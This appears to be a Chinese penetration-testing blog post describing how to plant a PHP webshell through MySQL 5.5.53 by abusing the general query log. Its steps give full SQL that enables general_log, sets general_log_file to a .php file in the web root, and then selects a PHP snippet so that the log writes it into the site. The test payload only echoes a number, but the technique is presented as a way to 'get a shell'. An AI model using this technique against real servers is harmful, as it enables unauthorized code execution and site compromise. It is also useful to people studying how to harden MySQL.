关注我们

mysql利用log写入webshell(测试版本5.5.53)

LzersLzers 渗透测试 2018-10-12 385116 0

0x01    前言

新版本的mysql在my.ini中设置了导出文件的路径,无法再使用select into outfile来写入一句话

mysql利用log写入webshell(测试版本5.5.53)

此时在mysql文件夹下的my.ini中可以设置到处路径

mysql利用log写入webshell(测试版本5.5.53)

但是在拿shell时,不可能去修改配置文件

可以通过修改mysql的log文件来获取webshell

0x02    过程

首先进入SQL环境,执行以下SQL语句:

show variables like "%general%";

mysql利用log写入webshell(测试版本5.5.53)

修改如上两个地方的值,其中修改log的地址为网站目录下的php文件,其后log文件会写入其中,修改方法

set global general_log = on;set global general_log_file = "C:/phpStudy/PHPTutorial/MySQL/6.php";

 然后执行

select "<?php echo 12344;?>"


此时在网站目录下6.PHP中就生成了一句话

mysql利用log写入webshell(测试版本5.5.53)

mysql利用log写入webshell(测试版本5.5.53)

成功执行。


版权声明

本文仅代表作者观点,不代表黑白网立场。
如文章侵犯了您的权利,请通过邮箱联系我们删除
E-Mail:server@heibai.org
黑白网官群:238921584

喜欢0发布评论

评论列表

发表评论

  • 昵称(必填)
  • 邮箱
  • 网址
  • 验证码(必填)